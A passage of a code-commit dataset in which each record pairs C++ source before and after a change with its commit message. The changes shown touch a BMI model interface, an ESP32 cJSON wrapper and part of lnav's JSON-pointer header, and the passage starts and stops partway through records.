jsoncons::json::parse_string(reply);\n}\n\nvoid hwo_connection::send_requests(const std::vector<jsoncons::json>& msgs)\n{\n  jsoncons::output_format format;\n  format.escape_all_non_ascii(true);\n  boost::asio::streambuf request_buf;\n  std::ostream s(&request_buf);\n  for (const auto& m : msgs) {\n    m.to_stream(s, format);\n    s << std::endl;\n  }\n  socket.send(request_buf.data());\n}\n<|endoftext|>"}
{"text":"<commit_before>namespace bmi {\n\n  const int BMI_SUCCESS = 0;\n  const int BMI_FAILURE = 1;\n\n  const int MAX_COMPONENT_NAME = 2048;\n  const int MAX_VAR_NAME = 2048;\n  const int MAX_UNITS_NAME = 2048;\n  const int MAX_TYPE_NAME = 2048;\n\n  class Bmi {\n    public:\n      \/\/ Model control functions.\n      virtual void Initialize(std::string config_file) = 0;\n      virtual void Update() = 0;\n      virtual void UpdateUntil(double time) = 0;\n      virtual void Finalize() = 0;\n\n      \/\/ Model information functions.\n      virtual void GetComponentName(char * const name) = 0;\n      virtual int GetInputItemCount() = 0;\n      virtual int GetOutputItemCount() = 0;\n      virtual void GetInputVarNames(char **names) = 0;\n      virtual void GetOutputVarNames(char **names) = 0;\n\n      \/\/ Variable information functions\n      virtual int GetVarGrid(const char *name) = 0;\n      virtual void GetVarType(const char *name, char *type) = 0;\n      virtual void GetVarUnits(const char *name, char *units) = 0;\n      virtual int GetVarItemsize(const char *name) = 0;\n      virtual int GetVarNbytes(const char *name) = 0;\n      virtual void GetVarLocation(const char *name, char *location) = 0;\n\n      virtual double GetCurrentTime() = 0;\n      virtual double GetStartTime() = 0;\n      virtual double GetEndTime() = 0;\n      virtual void GetTimeUnits(char *units) = 0;\n      virtual double GetTimeStep() = 0;\n\n      \/\/ Variable getters\n      virtual void GetValue(const char *name, void *dest) = 0;\n      virtual void *GetValuePtr(const char *name) = 0;\n      virtual void GetValueAtIndices(const char *name, void *dest, int *inds, int count) = 0;\n\n      \/\/ Variable setters\n      virtual void SetValue(const char *name, void *src) = 0;\n      virtual void SetValueAtIndices(const char *name, int *inds, int count, void *src) = 0;\n\n      \/\/ Grid information functions\n      virtual int GetGridRank(const int grid) = 0;\n      virtual int GetGridSize(const int grid) = 0;\n      virtual void GetGridType(const int grid, char *type) = 0;\n\n      virtual void GetGridShape(const int grid, int *shape) = 0;\n      virtual void GetGridSpacing(const int grid, double *spacing) = 0;\n      virtual void GetGridOrigin(const int grid, double *origin) = 0;\n\n      virtual void GetGridX(const int grid, double *x) = 0;\n      virtual void GetGridY(const int grid, double *y) = 0;\n      virtual void GetGridZ(const int grid, double *z) = 0;\n\n      virtual int GetGridNodeCount(const int grid) = 0;\n      virtual int GetGridEdgeCount(const int grid) = 0;\n      virtual int GetGridFaceCount(const int grid) = 0;\n\n      virtual void GetGridEdgeNodes(const int grid, int *edge_nodes) = 0;\n      virtual void GetGridFaceEdges(const int grid, int *face_edges) = 0;\n      virtual void GetGridFaceNodes(const int grid, int *face_nodes) = 0;\n      virtual void GetGridNodesPerFace(const int, int *nodes_per_face) = 0;\n  };\n}\n<commit_msg>Use C++ string instead of char *<commit_after>namespace bmi {\n\n  const int BMI_SUCCESS = 0;\n  const int BMI_FAILURE = 1;\n\n  const int MAX_COMPONENT_NAME = 2048;\n  const int MAX_VAR_NAME = 2048;\n  const int MAX_UNITS_NAME = 2048;\n  const int MAX_TYPE_NAME = 2048;\n\n  class Bmi {\n    public:\n      \/\/ Model control functions.\n      virtual void Initialize(std::string config_file) = 0;\n      virtual void Update() = 0;\n      virtual void UpdateUntil(double time) = 0;\n      virtual void Finalize() = 0;\n\n      \/\/ Model information functions.\n      virtual void GetComponentName(char * const name) = 0;\n      virtual int GetInputItemCount() = 0;\n      virtual int GetOutputItemCount() = 0;\n      virtual void GetInputVarNames(char **names) = 0;\n      virtual void GetOutputVarNames(char **names) = 0;\n\n      \/\/ Variable information functions\n      virtual int GetVarGrid(std::string name) = 0;\n      virtual void GetVarType(std::string name, char *type) = 0;\n      virtual void GetVarUnits(std::string name, char *units) = 0;\n      virtual int GetVarItemsize(std::string name) = 0;\n      virtual int GetVarNbytes(std::string name) = 0;\n      virtual void GetVarLocation(std::string name, char *location) = 0;\n\n      virtual double GetCurrentTime() = 0;\n      virtual double GetStartTime() = 0;\n      virtual double GetEndTime() = 0;\n      virtual void GetTimeUnits(char *units) = 0;\n      virtual double GetTimeStep() = 0;\n\n      \/\/ Variable getters\n      virtual void GetValue(std::string name, void *dest) = 0;\n      virtual void *GetValuePtr(std::string name) = 0;\n      virtual void GetValueAtIndices(std::string name, void *dest, int *inds, int count) = 0;\n\n      \/\/ Variable setters\n      virtual void SetValue(std::string name, void *src) = 0;\n      virtual void SetValueAtIndices(std::string name, int *inds, int count, void *src) = 0;\n\n      \/\/ Grid information functions\n      virtual int GetGridRank(const int grid) = 0;\n      virtual int GetGridSize(const int grid) = 0;\n      virtual void GetGridType(const int grid, char *type) = 0;\n\n      virtual void GetGridShape(const int grid, int *shape) = 0;\n      virtual void GetGridSpacing(const int grid, double *spacing) = 0;\n      virtual void GetGridOrigin(const int grid, double *origin) = 0;\n\n      virtual void GetGridX(const int grid, double *x) = 0;\n      virtual void GetGridY(const int grid, double *y) = 0;\n      virtual void GetGridZ(const int grid, double *z) = 0;\n\n      virtual int GetGridNodeCount(const int grid) = 0;\n      virtual int GetGridEdgeCount(const int grid) = 0;\n      virtual int GetGridFaceCount(const int grid) = 0;\n\n      virtual void GetGridEdgeNodes(const int grid, int *edge_nodes) = 0;\n      virtual void GetGridFaceEdges(const int grid, int *face_edges) = 0;\n      virtual void GetGridFaceNodes(const int grid, int *face_nodes) = 0;\n      virtual void GetGridNodesPerFace(const int, int *nodes_per_face) = 0;\n  };\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * JSON.cpp\n *\n *  Created on: May 23, 2017\n *      Author: kolban\n *\/\n\n\n\/\/ See: https:\/\/github.com\/DaveGamble\/cJSON\n\n#include <string>\n#include <stdlib.h>\n#include \"JSON.h\"\n\n\/**\n * @brief Create an empty JSON array.\n * @return An empty JSON array.\n *\/\nJsonArray JSON::createArray() {\n\treturn JsonArray(cJSON_CreateArray());\n} \/\/ createArray\n\n\n\/**\n * @brief Create an empty JSON object.\n * @return An empty JSON object.\n *\/\nJsonObject JSON::createObject() {\n\treturn JsonObject(cJSON_CreateObject());\n} \/\/ createObject\n\n\n\/**\n * @brief Delete a JSON array.\n * @param [in] jsonArray The array to be deleted.\n * @return N\/A.\n *\/\nvoid JSON::deleteArray(JsonArray jsonArray) {\n\tcJSON_Delete(jsonArray.m_node);\n} \/\/ deleteArray\n\n\n\/**\n * @brief Delete a JSON object.\n * @param [in] jsonObject The object to be deleted.\n *\/\nvoid JSON::deleteObject(JsonObject jsonObject) {\n\tcJSON_Delete(jsonObject.m_node);\n} \/\/ deleteObject\n\n\n\/**\n * @brief Parse a string that contains a JSON array.\n * @param [in] text The JSON text string.\n * @return A JSON array.\n *\/\nJsonArray JSON::parseArray(std::string text) {\n\treturn JsonArray(cJSON_Parse(text.c_str()));\n} \/\/ parseArray\n\n\n\/**\n * @brief Parse a string that contains a JSON object.\n * @param [in] text The JSON text string.\n * @return a JSON object.\n *\/\nJsonObject JSON::parseObject(std::string text) {\n\treturn JsonObject(cJSON_Parse(text.c_str()));\n} \/\/ parseObject\n\n\nJsonArray::JsonArray(cJSON* node) {\n\tm_node = node;\n}\n\n\n\/**\n * @brief Add a boolean value to the array.\n * @param [in] value The boolean value to add to the array.\n *\/\nvoid JsonArray::addBoolean(bool value) {\n\tcJSON_AddItemToArray(m_node, cJSON_CreateBool(value));\n} \/\/ addBoolean\n\n\n\/**\n * @brief Add a double value to the array.\n * @param [in] value The double value to add to the array.\n *\/\nvoid JsonArray::addDouble(double value) {\n\tcJSON_AddItemToArray(m_node, cJSON_CreateNumber(value));\n} \/\/ addDouble\n\n\n\/**\n * @brief Add an int value to the array.\n * @param [in] value The int value to add to the array.\n *\/\nvoid JsonArray::addInt(int value) {\n\tcJSON_AddItemToArray(m_node, cJSON_CreateDouble((double)value, value));\n} \/\/ addInt\n\n\n\/**\n * @brief Add an object value to the array.\n * @param [in] value The object value to add to the array.\n *\/\nvoid JsonArray::addObject(JsonObject value) {\n\tcJSON_AddItemToArray(m_node, value.m_node);\n} \/\/ addObject\n\n\n\/**\n * @brief Add a string value to the array.\n * @param [in] value The string value to add to the array.\n *\/\nvoid JsonArray::addString(std::string value) {\n\tcJSON_AddItemToArray(m_node, cJSON_CreateString(value.c_str()));\n} \/\/ addString\n\n\n\/**\n * @brief Get the indexed boolean value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The boolean value at the given index.\n *\/\nbool JsonArray::getBoolean(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\tif (node->valueint == 0) {\n\t\treturn false;\n\t}\n\treturn true;\n} \/\/ getBoolean\n\n\n\/**\n * @brief Get the indexed double value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The double value at the given index.\n *\/\ndouble JsonArray::getDouble(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\treturn node->valuedouble;\n} \/\/ getDouble\n\n\n\/**\n * @brief Get the indexed int value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The int value at the given index.\n *\/\nint JsonArray::getInt(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\treturn node->valueint;\n} \/\/ getInt\n\n\n\/**\n * @brief Get the indexed object value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The object value at the given index.\n *\/\nJsonObject JsonArray::getObject(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\treturn JsonObject(node);\n} \/\/ getObject\n\n\n\/**\n * @brief Get the indexed object value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The object value at the given index.\n *\/\nstd::string JsonArray::getString(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\treturn std::string(node->valuestring);\n} \/\/ getString\n\n\n\/**\n * @brief Convert the JSON array to a string.\n * @return A JSON string representation of the array.\n *\/\nstd::string JsonArray::toString() {\n\tchar *data = cJSON_Print(m_node);\n\tstd::string ret(data);\n\tfree(data);\n\treturn ret;\n} \/\/ toString\n\n\n\/**\n * @brief Get the number of elements from the array.\n * @return The int value that represents the number of elements.\n *\/\nstd::size_t JsonArray::size() {\n\treturn cJSON_GetArraySize(m_node);\n} \/\/ size\n\n\/**\n * @brief Constructor\n *\/\nJsonObject::JsonObject(cJSON* node) {\n\tm_node = node;\n} \/\/ JsonObject\n\nJsonArray JsonObject::getArray(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn JsonArray(node);\n}\n\n\n\/**\n * @brief Get the named boolean value from the object.\n * @param [in] name The name of the object property.\n * @return The boolean value from the object.\n *\/\nbool JsonObject::getBoolean(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\tif (node->valueint == 0) {\n\t\treturn false;\n\t}\n\treturn true;\n} \/\/ getBoolean\n\n\n\/**\n * @brief Get the named double value from the object.\n * @param [in] name The name of the object property.\n * @return The double value from the object.\n *\/\ndouble JsonObject::getDouble(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn node->valuedouble;\n} \/\/ getDouble\n\n\n\/**\n * @brief Get the named int value from the object.\n * @param [in] name The name of the object property.\n * @return The int value from the object.\n *\/\nint JsonObject::getInt(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn node->valueint;\n} \/\/ getInt\n\n\n\/**\n * @brief Get the named object value from the object.\n * @param [in] name The name of the object property.\n * @return The object value from the object.\n *\/\nJsonObject JsonObject::getObject(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn JsonObject(node);\n} \/\/ getObject\n\n\n\/**\n * @brief Get the named string value from the object.\n * @param [in] name The name of the object property.\n * @return The string value from the object.\n *\/\nstd::string JsonObject::getString(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn std::string(node->valuestring);\n} \/\/ getString\n\n\n\/**\n * @brief Determine if the object has the specified item.\n * @param [in] name The name of the property to check for presence.\n * @return True if the object contains this property.\n *\/\nbool JsonObject::hasItem(std::string name) {\n\treturn cJSON_GetObjectItem(m_node, name.c_str()) != nullptr;\n} \/\/ hasItem\n\n\n\/**\n * @brief Determine if this represents a valid JSON node.\n * @return True if this is a valid node and false otherwise.\n *\/\nbool JsonObject::isValid() {\n\treturn m_node != nullptr;\n} \/\/ isValid\n\n\/**\n * @brief Set the named array property.\n * @param [in] name The name of the property to add.\n * @param [in] array The array to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setArray(std::string name, JsonArray array) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), array.m_node);\n} \/\/ setArray\n\n\n\/**\n * @brief Set the named boolean property.\n * @param [in] name The name of the property to add.\n * @param [in] value The boolean to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setBoolean(std::string name, bool value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), cJSON_CreateBool(value));\n} \/\/ setBoolean\n\n\n\/**\n * @brief Set the named double property.\n * @param [in] name The name of the property to add.\n * @param [in] value The double to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setDouble(std::string name, double value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), cJSON_CreateNumber(value));\n} \/\/ setDouble\n\n\n\/**\n * @brief Set the named int property.\n * @param [in] name The name of the property to add.\n * @param [in] value The int to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setInt(std::string name, int value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), cJSON_CreateDouble((double)value, value));\n} \/\/ setInt\n\n\n\/**\n * @brief Set the named object property.\n * @param [in] name The name of the property to add.\n * @param [in] value The object to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setObject(std::string name, JsonObject value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), value.m_node);\n} \/\/ setObject\n\n\n\/**\n * @brief Set the named string property.\n * @param [in] name The name of the property to add.\n * @param [in] value The string to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setString(std::string name, std::string value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), cJSON_CreateString(value.c_str()));\n} \/\/ setString\n\n\n\/**\n * @brief Convert the JSON object to a string.\n * @return A JSON string representation of the object.\n *\/\nstd::string JsonObject::toString() {\n\tchar *data = cJSON_Print(m_node);\n\tstd::string ret(data);\n\tfree(data);\n\treturn ret;\n} \/\/ toString\n\n<commit_msg>Fixes for for #248<commit_after>\/*\n * JSON.cpp\n *\n *  Created on: May 23, 2017\n *      Author: kolban\n *\/\n\n\n\/\/ See: https:\/\/github.com\/DaveGamble\/cJSON\n\n#include <string>\n#include <stdlib.h>\n#include \"JSON.h\"\n\n\/**\n * @brief Create an empty JSON array.\n * @return An empty JSON array.\n *\/\nJsonArray JSON::createArray() {\n\treturn JsonArray(cJSON_CreateArray());\n} \/\/ createArray\n\n\n\/**\n * @brief Create an empty JSON object.\n * @return An empty JSON object.\n *\/\nJsonObject JSON::createObject() {\n\treturn JsonObject(cJSON_CreateObject());\n} \/\/ createObject\n\n\n\/**\n * @brief Delete a JSON array.\n * @param [in] jsonArray The array to be deleted.\n * @return N\/A.\n *\/\nvoid JSON::deleteArray(JsonArray jsonArray) {\n\tcJSON_Delete(jsonArray.m_node);\n} \/\/ deleteArray\n\n\n\/**\n * @brief Delete a JSON object.\n * @param [in] jsonObject The object to be deleted.\n *\/\nvoid JSON::deleteObject(JsonObject jsonObject) {\n\tcJSON_Delete(jsonObject.m_node);\n} \/\/ deleteObject\n\n\n\/**\n * @brief Parse a string that contains a JSON array.\n * @param [in] text The JSON text string.\n * @return A JSON array.\n *\/\nJsonArray JSON::parseArray(std::string text) {\n\treturn JsonArray(cJSON_Parse(text.c_str()));\n} \/\/ parseArray\n\n\n\/**\n * @brief Parse a string that contains a JSON object.\n * @param [in] text The JSON text string.\n * @return a JSON object.\n *\/\nJsonObject JSON::parseObject(std::string text) {\n\treturn JsonObject(cJSON_Parse(text.c_str()));\n} \/\/ parseObject\n\n\nJsonArray::JsonArray(cJSON* node) {\n\tm_node = node;\n}\n\n\n\/**\n * @brief Add a boolean value to the array.\n * @param [in] value The boolean value to add to the array.\n *\/\nvoid JsonArray::addBoolean(bool value) {\n\tcJSON_AddItemToArray(m_node, cJSON_CreateBool(value));\n} \/\/ addBoolean\n\n\n\/**\n * @brief Add a double value to the array.\n * @param [in] value The double value to add to the array.\n *\/\nvoid JsonArray::addDouble(double value) {\n\tcJSON_AddItemToArray(m_node, cJSON_CreateNumber(value));\n} \/\/ addDouble\n\n\n\/**\n * @brief Add an int value to the array.\n * @param [in] value The int value to add to the array.\n *\/\nvoid JsonArray::addInt(int value) {\n\tcJSON_AddItemToArray(m_node, cJSON_CreateNumber((double)value));\n} \/\/ addInt\n\n\n\/**\n * @brief Add an object value to the array.\n * @param [in] value The object value to add to the array.\n *\/\nvoid JsonArray::addObject(JsonObject value) {\n\tcJSON_AddItemToArray(m_node, value.m_node);\n} \/\/ addObject\n\n\n\/**\n * @brief Add a string value to the array.\n * @param [in] value The string value to add to the array.\n *\/\nvoid JsonArray::addString(std::string value) {\n\tcJSON_AddItemToArray(m_node, cJSON_CreateString(value.c_str()));\n} \/\/ addString\n\n\n\/**\n * @brief Get the indexed boolean value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The boolean value at the given index.\n *\/\nbool JsonArray::getBoolean(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\tif (node->valueint == 0) {\n\t\treturn false;\n\t}\n\treturn true;\n} \/\/ getBoolean\n\n\n\/**\n * @brief Get the indexed double value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The double value at the given index.\n *\/\ndouble JsonArray::getDouble(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\treturn node->valuedouble;\n} \/\/ getDouble\n\n\n\/**\n * @brief Get the indexed int value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The int value at the given index.\n *\/\nint JsonArray::getInt(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\treturn node->valueint;\n} \/\/ getInt\n\n\n\/**\n * @brief Get the indexed object value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The object value at the given index.\n *\/\nJsonObject JsonArray::getObject(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\treturn JsonObject(node);\n} \/\/ getObject\n\n\n\/**\n * @brief Get the indexed object value from the array.\n * @param [in] item The index of the array to retrieve.\n * @return The object value at the given index.\n *\/\nstd::string JsonArray::getString(int item) {\n\tcJSON *node = cJSON_GetArrayItem(m_node, item);\n\treturn std::string(node->valuestring);\n} \/\/ getString\n\n\n\/**\n * @brief Convert the JSON array to a string.\n * @return A JSON string representation of the array.\n *\/\nstd::string JsonArray::toString() {\n\tchar *data = cJSON_Print(m_node);\n\tstd::string ret(data);\n\tfree(data);\n\treturn ret;\n} \/\/ toString\n\n\n\/**\n * @brief Get the number of elements from the array.\n * @return The int value that represents the number of elements.\n *\/\nstd::size_t JsonArray::size() {\n\treturn cJSON_GetArraySize(m_node);\n} \/\/ size\n\n\/**\n * @brief Constructor\n *\/\nJsonObject::JsonObject(cJSON* node) {\n\tm_node = node;\n} \/\/ JsonObject\n\nJsonArray JsonObject::getArray(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn JsonArray(node);\n}\n\n\n\/**\n * @brief Get the named boolean value from the object.\n * @param [in] name The name of the object property.\n * @return The boolean value from the object.\n *\/\nbool JsonObject::getBoolean(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\tif (node->valueint == 0) {\n\t\treturn false;\n\t}\n\treturn true;\n} \/\/ getBoolean\n\n\n\/**\n * @brief Get the named double value from the object.\n * @param [in] name The name of the object property.\n * @return The double value from the object.\n *\/\ndouble JsonObject::getDouble(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn node->valuedouble;\n} \/\/ getDouble\n\n\n\/**\n * @brief Get the named int value from the object.\n * @param [in] name The name of the object property.\n * @return The int value from the object.\n *\/\nint JsonObject::getInt(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn node->valueint;\n} \/\/ getInt\n\n\n\/**\n * @brief Get the named object value from the object.\n * @param [in] name The name of the object property.\n * @return The object value from the object.\n *\/\nJsonObject JsonObject::getObject(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn JsonObject(node);\n} \/\/ getObject\n\n\n\/**\n * @brief Get the named string value from the object.\n * @param [in] name The name of the object property.\n * @return The string value from the object.\n *\/\nstd::string JsonObject::getString(std::string name) {\n\tcJSON *node = cJSON_GetObjectItem(m_node, name.c_str());\n\treturn std::string(node->valuestring);\n} \/\/ getString\n\n\n\/**\n * @brief Determine if the object has the specified item.\n * @param [in] name The name of the property to check for presence.\n * @return True if the object contains this property.\n *\/\nbool JsonObject::hasItem(std::string name) {\n\treturn cJSON_GetObjectItem(m_node, name.c_str()) != nullptr;\n} \/\/ hasItem\n\n\n\/**\n * @brief Determine if this represents a valid JSON node.\n * @return True if this is a valid node and false otherwise.\n *\/\nbool JsonObject::isValid() {\n\treturn m_node != nullptr;\n} \/\/ isValid\n\n\/**\n * @brief Set the named array property.\n * @param [in] name The name of the property to add.\n * @param [in] array The array to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setArray(std::string name, JsonArray array) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), array.m_node);\n} \/\/ setArray\n\n\n\/**\n * @brief Set the named boolean property.\n * @param [in] name The name of the property to add.\n * @param [in] value The boolean to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setBoolean(std::string name, bool value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), cJSON_CreateBool(value));\n} \/\/ setBoolean\n\n\n\/**\n * @brief Set the named double property.\n * @param [in] name The name of the property to add.\n * @param [in] value The double to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setDouble(std::string name, double value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), cJSON_CreateNumber(value));\n} \/\/ setDouble\n\n\n\/**\n * @brief Set the named int property.\n * @param [in] name The name of the property to add.\n * @param [in] value The int to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setInt(std::string name, int value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), cJSON_CreateNumber((double)value));\n} \/\/ setInt\n\n\n\/**\n * @brief Set the named object property.\n * @param [in] name The name of the property to add.\n * @param [in] value The object to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setObject(std::string name, JsonObject value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), value.m_node);\n} \/\/ setObject\n\n\n\/**\n * @brief Set the named string property.\n * @param [in] name The name of the property to add.\n * @param [in] value The string to add to the object.\n * @return N\/A.\n *\/\nvoid JsonObject::setString(std::string name, std::string value) {\n\tcJSON_AddItemToObject(m_node, name.c_str(), cJSON_CreateString(value.c_str()));\n} \/\/ setString\n\n\n\/**\n * @brief Convert the JSON object to a string.\n * @return A JSON string representation of the object.\n *\/\nstd::string JsonObject::toString() {\n\tchar *data = cJSON_Print(m_node);\n\tstd::string ret(data);\n\tfree(data);\n\treturn ret;\n} \/\/ toString\n\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2014, Timothy Stack\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n * * Neither the name of Timothy Stack nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY TIMOTHY STACK AND CONTRIBUTORS ''AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * @file json_ptr.hh\n *\/\n\n#ifndef __json_ptr_hh\n#define __json_ptr_hh\n\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n#include <sys\/types.h>\n\n#include <string>\n#include <vector>\n\n#include \"yajlpp.hh\"\n#include \"lnav_log.hh\"\n\nclass json_ptr_walk {\npublic:\n    const static yajl_callbacks callbacks;\n\n    json_ptr_walk() : jpw_handle(yajl_free) {\n        this->jpw_handle = yajl_alloc(&callbacks, NULL, this);\n    };\n\n    yajl_status parse(const char *buffer, ssize_t len) {\n        yajl_status retval;\n\n        retval = yajl_parse(this->jpw_handle, (const unsigned char *)buffer, len);\n        this->update_error_msg(retval, buffer, len);\n        return retval;\n    };\n\n    yajl_status complete_parse() {\n        yajl_status retval;\n\n        retval = yajl_complete_parse(this->jpw_handle);\n        this->update_error_msg(retval, NULL, -1);\n        return retval;\n    };\n\n    void update_error_msg(yajl_status status, const char *buffer, ssize_t len) {\n        switch (status) {\n        case yajl_status_ok:\n            break;\n        case yajl_status_client_canceled:\n            this->jpw_error_msg = \"internal error\";\n            break;\n        case yajl_status_error:\n            this->jpw_error_msg = std::string((const char *)yajl_get_error(\n                this->jpw_handle, 1, (const unsigned char *)buffer, len));\n            break;\n        }\n    };\n\n    void clear() {\n        this->jpw_values.clear();\n    };\n\n    void inc_array_index() {\n        if (!this->jpw_array_indexes.empty() &&\n            this->jpw_array_indexes.back() != -1) {\n            this->jpw_array_indexes.back() += 1;\n        }\n    };\n\n    std::string current_ptr() {\n        std::string retval;\n\n        for (int lpc = 0; lpc < this->jpw_array_indexes.size(); lpc++) {\n            retval.append(\"\/\");\n            if (this->jpw_array_indexes[lpc] == -1) {\n                retval.append(this->jpw_keys[lpc]);\n            }\n            else {\n                char num[64];\n\n                snprintf(num, sizeof(num), \"%d\", this->jpw_array_indexes[lpc]);\n                retval.append(num);\n            }\n        }\n\n        return retval;\n    };\n\n    typedef std::vector<std::pair<std::string, std::string> > pair_list_t;\n\n    auto_mem<yajl_handle_t> jpw_handle;\n    std::string jpw_error_msg;\n    pair_list_t jpw_values;\n    std::vector<std::string> jpw_keys;\n    std::vector<int32_t> jpw_array_indexes;\n};\n\nclass json_ptr {\npublic:\n    enum match_state_t {\n        MS_DONE,\n        MS_VALUE,\n        MS_ELEMENT,\n        MS_ERR_INVALID_TYPE,\n        MS_ERR_NO_SLASH,\n        MS_ERR_INVALID_ESCAPE,\n        MS_ERR_INVALID_INDEX,\n    };\n\n    static size_t encode(char *dst, size_t dst_len, const char *src, size_t src_len = -1) {\n        size_t retval = 0;\n\n        if (src_len == -1) {\n            src_len = strlen(src);\n        }\n\n        for (size_t lpc = 0; lpc < src_len; lpc++) {\n            switch (src[lpc]) {\n            case '\/':\n            case '~':\n                if (retval < dst_len) {\n                    dst[retval] = '~';\n                    retval += 1;\n                    if (src[lpc] == '~') {\n                        dst[retval] = '0';\n                    }\n                    else {\n                        dst[retval] = '1';\n                    }\n                }\n                else {\n                    retval += 1;\n                }\n                break;\n            default:\n                if (retval < dst_len) {\n                    dst[retval] = src[lpc];\n                }\n                break;\n            }\n            retval += 1;\n        }\n\n        return retval;\n    };\n\n    json_ptr(const char *value)\n        : jp_value(value), jp_pos(value), jp_depth(0), jp_array_index(-1),\n          jp_state(MS_VALUE) {\n\n    };\n\n    bool expect_map(int32_t &depth) {\n        bool retval;\n\n        if (this->jp_state == MS_DONE) {\n            retval = true;\n        }\n        else if (depth != this->jp_depth) {\n            retval = true;\n        }\n        else if (this->reached_end()) {\n            retval = true;\n        }\n        else if (this->jp_state == MS_VALUE) {\n           if (this->jp_pos[0] == '\/') {\n               this->jp_pos += 1;\n               this->jp_depth += 1;\n               this->jp_state = MS_ELEMENT;\n               retval = true;\n           }\n           else {\n               this->jp_state = MS_ERR_NO_SLASH;\n               retval = false;\n           }\n        }\n        else {\n            retval = true;\n        }\n        depth += 1;\n\n        return retval;\n    };\n\n    bool at_key(int32_t depth, const char *component, ssize_t len = -1) {\n        const char *component_end;\n        int lpc;\n\n        if (this->jp_state == MS_DONE || depth != this->jp_depth) {\n            return true;\n        }\n\n        if (len == -1) {\n            len = strlen(component);\n        }\n        component_end = component + len;\n\n        for (lpc = 0; component < component_end; lpc++, component++) {\n            char ch = this->jp_pos[lpc];\n\n            if (this->jp_pos[lpc] == '~') {\n                switch (this->jp_pos[lpc + 1]) {\n                case '0':\n                    ch = '~';\n                    break;\n                case '1':\n                    ch = '\/';\n                    break;\n                default:\n                    this->jp_state = MS_ERR_INVALID_ESCAPE;\n                    return false;\n                }\n                lpc += 1;\n            }\n            else if 